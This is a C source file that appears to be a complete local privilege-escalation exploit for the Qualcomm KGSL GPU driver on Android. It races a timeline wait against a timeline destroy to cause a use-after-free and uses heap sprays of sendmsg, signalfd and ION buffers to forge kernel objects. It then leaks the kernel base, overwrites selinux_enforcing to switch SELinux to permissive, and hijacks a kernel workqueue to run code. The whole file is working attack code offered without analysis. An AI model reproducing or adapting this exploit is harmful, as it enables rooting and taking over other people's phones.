timeline_wait.c

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/signalfd.h>

#include "sendmsg_spray.h"
#include "kgsl_ioctl.h"
#include "signalfd_spray.h"
#include "cpu_utils.h"
#include "ion_utils.h"
#include "fake_obj_util.h"
#include "addr_utils.h"
#include "work_queue_utils.h"

static volatile uint32_t timeline_id = 0;
static volatile uint32_t fd = 0;
static volatile uint32_t g_unlocked_read = 0;
static volatile uint32_t g_destroy_now = 0;
static volatile int pipe_write = 0;
static volatile int g_finished_read = 0;
static volatile int g_close_now = 0;
static volatile int g_signal_now = 0;
static volatile int g_free_spray_cpu = 0;
static volatile long wait_start_sec, wait_start_usec;

static struct kgsl_timeline_val timelines[1];

#define SPRAY_CPU 0

#define DESTROY_CPU 1

#define POLL_CPU 4

#define SECOND_POLL_CPU 5

#define OBJECT_SIZE 128

#define NB_REALLOC_THREADS 40

#define NB_DELAY_THREADS 8

#define ENFORCING_OFF 0x32393d4

#define WAIT_QUEUE_HEAD_OFF 0x8

#define ION_HEAP_ID ION_USER_CONTIG_HEAP_ID

#define SZ_1M (1024 * 1024)

#define FAKE_REGION_SIZE (16 * SZ_1M)

#define SIGFD_MASK ((~(1ul << 8)) & (~(1ul << 18)))

#define SLAB_SIZE 96

#define SPRAY_INTERVAL 7500

#define PER_INTERVAL_SPRAY 8

#define CHAIN_SIZE (32 * 64)

#define INTERVAL_COUNT (32)

#define SIGFD1_SPRAY 16

#define BATCH_SIZE 10

#define SIGFD_SPRAY_NUM1 (NB_REALLOC_THREADS * SIGFD1_SPRAY)

#define SIGFD_SPRAY_OVERFLOW 512

#define SIGFD_SPRAY_NUM2 (CPU_RANGE * PER_INTERVAL_SPRAY * INTERVAL_COUNT)

#define SYNC_FILE_NUM 20000

#define ION_DMA_SIZE 1024

static int sigfds[SIGFD_SPRAY_NUM1 + SIGFD_SPRAY_OVERFLOW] = {-1};

static int sigfds2[SIGFD_SPRAY_NUM2] = {-1};

static int syncfds[SYNC_FILE_NUM] = {-1};

static char g_realloc_data[OBJECT_SIZE] = {0};

void* busy_loop(void* arg) {
  migrate_to_cpu(DESTROY_CPU);
  while (!g_finished_read);
  return NULL;
}

void* keep_spray_cpu_busy(void* arg) {
  migrate_to_cpu(SPRAY_CPU);
  while (!g_free_spray_cpu);
  return NULL;
}

void* read_pipe(void* arg) {
  int buffer[80];
  pthread_t threads[NB_DELAY_THREADS];
  printf("readpipe start\n");
  migrate_to_cpu(DESTROY_CPU);
  int fd = *((int*)arg);
  read(fd, buffer, sizeof(buffer));
  g_unlocked_read = 1;
  close(fd);
  printf("readpipe\n");
  for (int i = 0; i < NB_DELAY_THREADS; i++) {
    pthread_create(&threads[i], NULL, busy_loop, NULL);
  }
  while(!g_finished_read);
  printf("readpipe finished\n");

  return NULL;  
}

int create_timeline(int fd, int seqno) {
  struct kgsl_timeline_create create_par = {0};
  create_par.seqno = seqno;
  if (ioctl(fd, IOCTL_KGSL_TIMELINE_CREATE, &create_par) < 0) {
	err(1, "Timeline create failed\n");
  }
  return create_par.id;
}

int timeline_fence_get(int fd, int seqno, int timeline) {
  struct kgsl_timeline_fence_get fence_get_par = {0};
  fence_get_par.seqno = seqno;
  fence_get_par.timeline = timeline;
  if (ioctl(fd, IOCTL_KGSL_TIMELINE_FENCE_GET, &fence_get_par) < 0) {
	err(1, "Timeline fence get failed\n");
  }
  return fence_get_par.handle;
}

void sig_func(int sig)
{
 printf("Caught signal: %d\n",sig);
}

void* timeline_wait(void* arg) {
  struct timeval wait_end;
  long micros_used, secs_used, timelapsed;
  migrate_to_cpu(SPRAY_CPU);
  signal(SIGUSR1,sig_func);
  printf("timeline_wait start\n");
  struct kgsl_timeline_wait wait_par = {0};
  wait_par.flags = KGSL_TIMELINE_WAIT_ANY;
  wait_par.timelines = (uint64_t)(&timelines[0]);
  wait_par.timelines_size = 16;
  wait_par.count = 1;
  wait_par.tv_sec = 0xffffffff;
  printf(" wait complete %d\n", ioctl(fd, IOCTL_KGSL_TIMELINE_WAIT, &wait_par));
  usleep(120000);
  realloc_NOW(20000);
  sleep(20);
  g_finished_read = 1;
  return NULL;
}

void* destroy(void* arg) {
  struct timeval start, end;
  long micros_used, secs_used, timelapsed;
  migrate_to_cpu(DESTROY_CPU);
  while (!g_destroy_now);
  printf("destroy start\n");
  if (ioctl(fd, IOCTL_KGSL_TIMELINE_DESTROY, &timeline_id) < 0) {
    err(1, "destroy failed\n");
  }
  printf("destroy finished\n");
  return NULL;
}

void close_unused_fds(int* fds, size_t size, int exclude_index) {
  for (int i = 0; i < size; i++) {
    if (fds[i] == -1) continue;
    if (i != exclude_index) {
      close(fds[i]);
      fds[i] = -1;
    }
  }
}

void check_fence_space(uint64_t zero_region_vaddr, uint64_t region_vaddr, size_t slab_size) {
  uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK;
  uint64_t new_region_vaddr = ~new_mask;
  if (new_region_vaddr + 128 * slab_size >= zero_region_vaddr) err(1, "Not enough space for slab\n");
}

void create_fake_slab(uint8_t* ion_region, int offset, size_t size, uint64_t region_vaddr) {
  uint64_t* slab_start = (uint64_t*)(ion_region + offset);
  uint64_t bin_size = 128/sizeof(uint64_t);
  uint64_t idx = 0;
  for (int i = 0; i < size; i++) {
    if (i == size - 1) slab_start[idx] = 0;
    slab_start[idx] = (region_vaddr + offset + (i + 1) * 128);
    idx += bin_size;
  }
}

int spray_ion_buffer(int ion_fd, size_t num, int cpu_id, int* fds, uint64_t* flags) {
  struct ion_allocation_data ion_alloc_data = {0};
  ion_alloc_data.len = 0x1000;
  ion_alloc_data.heap_id_mask = ION_QSECOM_HEAP_ID;
  
  for (int i = 0; i < num; i++) {
    ion_alloc_data.flags = flags[i];
    migrate_to_cpu(cpu_id);
    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
      return i;
    }
    fds[i] = ion_alloc_data.fd;
    if ((i + 1) % 64 == 0) usleep(1000);
  }
  return num;
}

int search_ion_buffer(uint8_t* slab_start, size_t slab_size, unsigned long* flags, int* found_dma, int* found_idx, size_t flag_size) {
  uint8_t* curr = slab_start;
  int ret = 0;
  for (int i = 0; i < slab_size; i++) {
    struct ion_buffer* this_buf = (struct ion_buffer*)curr;
    for (int flag_idx = 0; flag_idx < flag_size; flag_idx++) {
      if (this_buf->flags == flags[flag_idx]) {
        found_dma[flag_idx] = 1;
        found_idx[i] = 1;
        ret++;
        break;
      }
    }
    curr+= 128;
  }
  return ret;
}

uint64_t get_kernel_base(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t heap_addr, uint64_t* heap_region) {
  uint64_t phys_addr = virt_to_phys_lm(heap_addr);
  uint64_t offset = phys_addr % 0x1000;
  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
  uint64_t len = 0x1000;
  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
  if (ion_region == MAP_FAILED) {
    err(1, "get_kernel_base map failed");
  }
  uint64_t* addr_ptr = (uint64_t*)(ion_region + offset + ION_HEAP_OPS_OBJ_OFF);
  *heap_region = (uint64_t)(ion_region + offset);
  uint64_t heap_ops_addr = *addr_ptr;
  if (heap_ops_addr == 0) {
    printf("addr_ptr %p heap_region %p phys_addr %lx\n", addr_ptr, ion_region + offset, phys_addr);
    return 0;
  }
  uint64_t kernel_base = heap_ops_addr - ION_HEAP_OPS_OFF - KERNEL_PHYS_OFF;
  printf("heap_ops %lx, kernel base: %lx\n", heap_ops_addr, kernel_base);
  return kernel_base;
}

int set_enforcing(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t kernel_base, uint64_t* enforcing_region) {
  uint64_t phys_addr = kernel_base + ENFORCING_OFF;
  uint64_t offset = phys_addr % 0x1000;
  patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000);
  uint64_t len = 0x1000;
  void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0);
  if (ion_region == MAP_FAILED) {
    printf("set_enforcing map failed");
    return -1;
  }
  *enforcing_region = (uint64_t)(ion_region + offset);
  uint8_t* enforcing_ptr = (uint8_t*)(ion_region + offset);
  enforcing_ptr[0] = 0;
  printf("set enforcing to permissive\n");
  char result = '2';
  sleep(1);
  int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
  read(enforce_fd, &result, 1);
  close(enforce_fd);
  if (result == '0') {
    printf("[+] successfully overwritten selinux_enforcing\n");
  } else {
    printf("[-] Failed to overwrite selinux_enforcing\n");
    return -1;
  }
  return 0;
}

void repair_heap(uint64_t ion_heap, uint64_t ion_heap_vaddr, int* ion_dma_fds, uint64_t* ion_dma_regions, size_t dma_buf_size) {
  uint64_t* freelist = (uint64_t*)(ion_heap + ION_HEAP_FREELIST_OFF);
  freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
  freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
  uint64_t* wait_queue_head = (uint64_t*)(ion_heap + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF);
  wait_queue_head[0] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF;
  wait_queue_head[1] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF;
  
  uint64_t* flags = (uint64_t*)(ion_heap + ION_HEAP_FLAGS_OFF);
  flags[0] |= ION_HEAP_FLAG_DEFER_FREE;
  printf("freeing ion dma fd\n");
  for (int i = 0; i < dma_buf_size; i++) {
    close(ion_dma_fds[i]);
    if (ion_dma_regions[i] != 0) {
      munmap((void*)page_align(ion_dma_regions[i]), 0x1000);
    }
  }
  freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
  freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF;
  printf("finished freeing ion dma fd\n");
}

int get_ion_dma_fd(int* found_dma, int* ion_dma_fds, int skip, int size) {
  struct ion_buffer* ion_buf = NULL;
  int remain_skip = skip;
  for (int i = 0; i < size; i++) {
    if (found_dma[i] != 0) {
      if (remain_skip == 0) {
        return ion_dma_fds[i];
      }
      remain_skip--;
    }
  }
  return -1;
}

struct ion_buffer* get_ion_buffer(int* found_idx, uint8_t* region_ptr, int skip, int size) {
  int remain_skip = skip;
  for (int i = 0; i < size; i++) {
    if (found_idx[i] != 0) {
      if (remain_skip == 0) {
        return (struct ion_buffer*)(region_ptr + i * 128);
      }
      remain_skip--;
    }
  }
  return NULL;
}

int assign_batch_num(int thread_num) {
  int num_per_batch = NB_REALLOC_THREADS/MAX_SENDMSG_BATCH;
  int remainder = NB_REALLOC_THREADS % MAX_SENDMSG_BATCH;
  int extra_threshold = (num_per_batch + 1) * remainder;
  if (thread_num < extra_threshold) {
    return thread_num/(num_per_batch + 1);
  }
  return (thread_num - extra_threshold)/num_per_batch + remainder;
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  pthread_t thread1, thread2, thread3;

  int kgsl_fd;
  struct realloc_thread_arg rta[NB_REALLOC_THREADS];

  int exclude_cpu = check_cpu_affinity();
  int poll_cpu = exclude_cpu != POLL_CPU ? POLL_CPU : SECOND_POLL_CPU;

  migrate_to_cpu(3);

  kgsl_fd = open("/dev/kgsl-3d0", 0);
  if (kgsl_fd == -1) {
    err(1, "cannot open kgsl\n");
  }
  fd = kgsl_fd;
  
  int ion_fd = open("/dev/ion", 0);
  if (ion_fd == -1) err(1, "cannot open ion\n");

  timeline_id = create_timeline(fd, 0);

  struct kgsl_timeline_val val = {0};
  val.timeline = timeline_id;
  val.seqno = 10;
  timelines[0] = val;

  for (int i = 0; i < SYNC_FILE_NUM; i++) {
    syncfds[i] = timeline_fence_get(fd, 10, timeline_id);
  }
 
  for (int i = 0; i < OBJECT_SIZE; i++) {
    g_realloc_data[i] = i;
  }

  struct dma_fence* fence = (struct dma_fence*)(&(g_realloc_data[0]));
  fence->flags = 1;
  fence->refcount = 1;

  size_t heap_size = ion_heap_size(ION_HEAP_ID);
  if (heap_size < FAKE_REGION_SIZE) err(1, "heap_size smaller than FAKE_REGION_SIZE %lu\n", heap_size);
  heap_size = FAKE_REGION_SIZE;
  if (heap_size % 0x1000 != 0) err(1, "heap_size not page aligned\n");
  uint8_t* ion_region = (uint8_t*)spray_ion_heap(ION_HEAP_ID, heap_size);
  if (ion_region == NULL) err(1, "Out of memory in reserved pool.\n");
  
  uint64_t region_vaddr = ion_heap_phys_addr(ION_HEAP_ID) - PHYS_TO_VIRT_OFF;

  region_vaddr += (ion_heap_size(ION_HEAP_ID) - FAKE_REGION_SIZE)/2;
  uint64_t fence_off = fill_ion_heap(ion_region, CHAIN_SIZE, heap_size, region_vaddr);
  uint64_t fence_kstart = region_vaddr + fence_off;
  uint64_t zero_region_vaddr = fence_kstart - ZERO_FILL_SZ;

  printf("region start addr: %lx\n", region_vaddr);
  printf("fence kernel addr: %lx %d\n", fence_kstart, ion_region[fence_off + (CHAIN_SIZE - 1)* 128 + 0x8]);

  check_fence_space(zero_region_vaddr, SLAB_SIZE, region_vaddr);
  uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK;
  uint64_t region_offset = ~(new_mask) - region_vaddr;
  create_fake_slab(ion_region, region_offset, SLAB_SIZE, region_vaddr);
  printf("created fake slab at %lx\n", ~new_mask);

  struct kgsl_timeline_fence* tfence = (struct kgsl_timeline_fence*)(&(g_realloc_data[0]));
  tfence->node.next = fence_kstart + NODE_OFF;
  memset(rta, 0, sizeof(rta));
  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
    rta[i].realloc_data = &(g_realloc_data[0]);
    rta[i].object_size = OBJECT_SIZE;
    rta[i].spray_cpu = SPRAY_CPU;
    rta[i].level = (uint32_t)((zero_region_vaddr << 32) >> 32);
    rta[i].type = (uint32_t)(zero_region_vaddr >> 32);
    rta[i].batch_num = assign_batch_num(i);
  }

  uint64_t cb_list = 0;
  void* fence_start = ion_region + fence_off;
  uint64_t mask2 = 0x4041;
  uint64_t per_interval_spray = PER_INTERVAL_SPRAY;

  if (init_reallocation(rta, NB_REALLOC_THREADS)) {
    err(1, "[-] failed to initialize reallocation!\n");
  }

  pthread_create(&thread1, NULL, destroy, NULL);
  struct sched_param sched_par = {0};

  if (pthread_setschedparam(thread1, SCHED_IDLE, &sched_par) != 0) {
    err(1, "[-] set priority for trigger failed\n");
  }

  int pipe_fd[2];
  pipe(pipe_fd);
  
  pthread_t rw_tid;
  if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) {
    err(1, "[-] pthread_create read");
  }
  pipe_write = pipe_fd[1];
  struct sched_param sched_par2 = {0};

  if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par2) != 0) {
    err(1, "[-] set priority for rw failed\n");
  }

  pthread_create(&thread2, NULL, timeline_wait, NULL);
  sleep(5);
  struct timeval wait_start;
  char write_char;
  write_char = 'a';
  gettimeofday(&wait_start, NULL);
  wait_start_sec = wait_start.tv_sec;
  wait_start_usec = wait_start.tv_usec;

  g_destroy_now = 1;
  usleep(1000);
  pthread_kill(thread2, SIGUSR1);
  write(pipe_write, &write_char, 1);
  migrate_to_cpu(poll_cpu);
  while (cb_list == 0) {
    cb_list = poll_list_addr(fence_start, CHAIN_SIZE, fence_kstart);
  }
  spray_with_intervals(SPRAY_INTERVAL, INTERVAL_COUNT, (1 << DESTROY_CPU), &mask2, &(sigfds2[0]), per_interval_spray);
  printf("cb_list %lx temp %lx\n", cb_list, cb_list + STACK_OFFSET);

  uint64_t mask1 = 0x52424242;
  uint64_t offset = 0;
  int spray_size = SIGFD1_SPRAY;

  sleep(1);
  int batch_size = BATCH_SIZE;
  int batch_num = NB_REALLOC_THREADS/batch_size;
  if (NB_REALLOC_THREADS % batch_size) batch_num++;
  int index2 = -1;
  for (int batch = 0; batch < batch_num; batch++) {
    int sprayed = 0;
    for (int sprayed_num = 0; sprayed_num < batch_size; sprayed_num++) {
      migrate_to_cpu(SPRAY_CPU);
      if (sprayed_num + batch * batch_size >= NB_REALLOC_THREADS) break;
      cleanup(&(rta[sprayed_num + batch * batch_size]));
      sprayed++;
    }
    spray_signalfd(&mask1, spray_size * sprayed, SPRAY_CPU, &(sigfds[offset]));
    offset += spray_size * sprayed;
    index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask);
    if (index2 != -1) {
      break;
    }
  }
  if (index2 == -1) {
    err(1, "Failed to replace sigfds2 mask.\n");
  }
  //Fail to replace free'd sendmsg object, try to spray more on other cpu
  if (new_mask != mask1) {
    int batch_size = SIGFD_SPRAY_OVERFLOW/(CPU_RANGE - 1);
    for (int cpu = 0; cpu < CPU_RANGE; cpu++) {
      if (cpu == SPRAY_CPU) continue;
      spray_signalfd(&mask1, batch_size, cpu, &(sigfds[offset]));
      index2 = search_changed_mask(mask2, &(sigfds2[0]), SIGFD_SPRAY_NUM2, &new_mask);
      offset += batch_size;
      if (new_mask == mask1) {
        printf("Replaced sendmsg on cpu %d\n", cpu);
        break;
      }
    }
    if (new_mask != mask1) {
      err(1, "failed to replace sendmsg object.\n");
    }
  }

  int cpu_count = CPU_RANGE;
  int cpu_id = (index2 % (cpu_count * per_interval_spray)) / per_interval_spray;

  printf("cpu_id %d\n", cpu_id);
  printf("interval number %lu\n", index2/(cpu_count * per_interval_spray));
  uint64_t addr_mask = ~region_vaddr;
  change_signalfd_mask(&addr_mask, sigfds2[index2]);
  int index1 = search_changed_mask(mask1, &(sigfds[0]), sizeof(sigfds)/sizeof(int), &new_mask);
  if (index1 == -1) {
    err(1, "failed to replace sigfds mask.\n");
  }
  printf("thread number %d %d %d\n", index1/spray_size, index1 % spray_size, sigfds[index1]);
  printf("thread batch number %d\n", assign_batch_num(index1/spray_size));

  printf("new mask %lx %lx\n", new_mask, ~(new_mask));
  
  int ion_dma_fds[ION_DMA_SIZE] = {-1};
  uint64_t ion_dma_regions[ION_DMA_SIZE] = {0};
  uint64_t flags[ION_DMA_SIZE];
  int found_dma[ION_DMA_SIZE] = {0};
  int found_idx[SLAB_SIZE] = {0};
  int off = 0;
  printf("region_offset %lx\n", region_offset);
  uint8_t* region_ptr = (uint8_t*)(ion_region + region_offset);
  for (int i = 0; i < ION_DMA_SIZE; i++) {
    flags[i] = 0x4141 + i;
  }
  sleep(1);
  migrate_to_cpu(cpu_id);
  close(sigfds2[index2]);
  change_signalfd_mask(&addr_mask, sigfds[index1]);

  int found = 0;
  int spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0]));
  printf("sprayed %d ion buffer\n", spray_num);
  printf("start searching for buffer\n");
  found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE);
  if (found != 0) {
    printf("Found %d ion regions\n", found);
  }

  //Try other cpu
  if (found == 0) {
    for (int cpu = 0; cpu < CPU_RANGE; cpu++) {
      if (cpu == cpu_id) continue;
        spray_num = spray_ion_buffer(ion_fd, ION_DMA_SIZE, cpu_id, &(ion_dma_fds[0]), &(flags[0]));
        printf("Retry start searching for buffer on cpu %d\n", cpu);
        found = search_ion_buffer(region_ptr, SLAB_SIZE, &(flags[0]), &(found_dma[0]), &(found_idx[0]), ION_DMA_SIZE);
        if (found != 0) {
          printf("Found %d ion regions on cpu %d\n", found, cpu);
          break;
        }
    }
  }

  if (found == 0) {
    addr_mask = 0;
    change_signalfd_mask(&addr_mask, sigfds[index1]);
    err(1, "Failed to find ion buffer\n");
  }

  uint64_t table_vaddr = region_vaddr + region_offset + SLAB_SIZE * 128;
  uint8_t* table_region = (uint8_t*)(region_ptr + SLAB_SIZE * 128);
  uint64_t ion_heap = 0;
  uint64_t enforcing_region = 0;

  int ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), 0, ION_DMA_SIZE);
  struct ion_buffer* ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, 0, SLAB_SIZE);
  uint64_t ion_heap_vaddr = (uint64_t)(ion_buf->heap);

  uint64_t kernel_base = 0;
  int skip = 0;
  for (int i = 0; i < 3; i++) {
    kernel_base = get_kernel_base(ion_dma_fd, ion_buf, table_vaddr, table_region, (uint64_t)(ion_buf->heap), &ion_heap);
    if (kernel_base) break;
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    sleep(1);
    ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), &(ion_dma_fds[0]), skip, ION_DMA_SIZE);
    if (ion_dma_fd == -1) break;
    ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }
  if (!kernel_base) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to get kernel base\n");
  }

  skip++;
  ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
  if (ion_dma_fd == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to ion_dma_fd for enforcing\n");
  }
  ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);

  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;

  int enforced = 0;
  for (int i = 0; i < 3; i++) {
    enforced = set_enforcing(ion_dma_fd, ion_buf, table_vaddr, table_region, kernel_base, &enforcing_region);
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    if (enforced == 0) break;
    munmap((void*)page_align(enforcing_region), 0x1000);
    ion_dma_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
    if (ion_dma_fd == -1) break;
    ion_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }
  if (enforced == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to set enforcing\n");
  }

  ion_dma_regions[0] = enforcing_region;
  uint64_t kernel_shift = kernel_base - KERNEL_PBASE;
  uint64_t wq_ptr_addr = KGSL_MEMQUEUE_OFF + KERNEL_VBASE + kernel_shift;

  int wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
  if (wq_ptr_fd == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to find ion region for wq_ptr_fd\n");
  }
  struct ion_buffer* wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);

  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;

  uint64_t wq_addr = 0;
  for (int i = 0; i < 3; i++) {
    wq_addr = get_wq_addr(wq_ptr_fd, wq_ptr_buf, table_vaddr, table_region, wq_ptr_addr);
    if (wq_addr != 0) {
      break;
    }
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    wq_ptr_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
    if (wq_ptr_fd == -1) {
      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
      err(1, "Failed to find ion region for wq_ptr_fd\n");
    }
    wq_ptr_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }

  if (wq_addr == 0) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to find ion region for wq_ptr_fd\n");
  }

  int wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
  if (wq_fd == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to find ion region for wq_fd\n");
  }
  struct ion_buffer* wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);

  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;

  uint64_t pwq_addr = 0;
  for (int i = 0; i < 3; i++) {  
    pwq_addr = get_pwq_addr(wq_fd, wq_buf, table_vaddr, table_region, wq_addr);
    if (pwq_addr != 0) break;
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    wq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
    if (wq_fd == -1) {
      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
      err(1, "Failed to find ion region for wq_fd\n");
    }
    wq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }

  if (pwq_addr == 0) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to get pwq_addr\n");
  }

  int pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
  if (pwq_fd == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to find ion region for pwq_fd\n");
  }
  struct ion_buffer* pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;

  uint64_t pwq_region = 0;
  uint64_t pool_addr = 0;
  for (int i = 0; i < 3; i++) {
    pool_addr = map_pwq(pwq_fd, pwq_buf, table_vaddr, table_region, pwq_addr, &pwq_region);
    if (pool_addr != 0) break;
    munmap((void*)page_align(pwq_region), 0x1000);
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    pwq_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
    if (pwq_fd == -1) {
      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
      err(1, "Failed to find ion region for pwq_fd\n");
    }
    pwq_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }
  if (pool_addr == 0) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to map pwq_addr\n");
  }

  ion_dma_regions[1] = pwq_region;
  int pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
  if (pool_fd == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to find ion region for pool_fd\n");
  }
  struct ion_buffer* pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;
  uint64_t pool_region = 0;
  for (int i = 0; i < 3; i++) {
    uint64_t worklist = map_pwq_pool(pool_fd, pool_buf, table_vaddr, table_region, pool_addr, &pool_region);
    if (pool_region != 0) break;
    table_vaddr += 2 * 128;
    table_region += 2 * 128;
    skip++;
    pool_fd = get_ion_dma_fd(&(found_dma[0]), ion_dma_fds, skip, ION_DMA_SIZE);
    if (pool_fd == -1) {
      repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
      err(1, "Failed to find ion region for pool_fd\n");
    }
    pool_buf = get_ion_buffer(&(found_idx[0]), region_ptr, skip, SLAB_SIZE);
  }
  if (pool_region == 0) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "Failed to map_pwq_pool\n");
  }
  ion_dma_regions[2] = pool_region;
  table_vaddr += 2 * 128;
  table_region += 2 * 128;
  skip++;
  
  setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128);
  printf("queue work\n");
  sleep(1);
  migrate_to_cpu(0);
 
  int queue_res = 0;
  for (int i = 0; i < 3; i++) {
    queue_res = queue_work((uint8_t*)pool_region, pool_addr, (uint8_t*)pwq_region, pwq_addr, table_region, table_vaddr, pool_addr + WORKLIST_OFF);
    if (queue_res == 0) break;
    printf("[-] Failed to run command, retry\n");
    setup_sub_info(table_region, table_vaddr, kernel_shift, table_vaddr + 128, table_region + 128);
    sleep(1);
  }
  if (queue_res == -1) {
    repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
    err(1, "failed to queue work\n");
  }
  printf("finished queue work\n");
  repair_heap(ion_heap, ion_heap_vaddr, &(ion_dma_fds[0]), &(ion_dma_regions[0]), ION_DMA_SIZE);
  sleep(1);
  close(ion_fd);
  printf("finished spraying\n");

  close_unused_fds(&(syncfds[0]), SYNC_FILE_NUM, -1);
  printf("finished\n");

}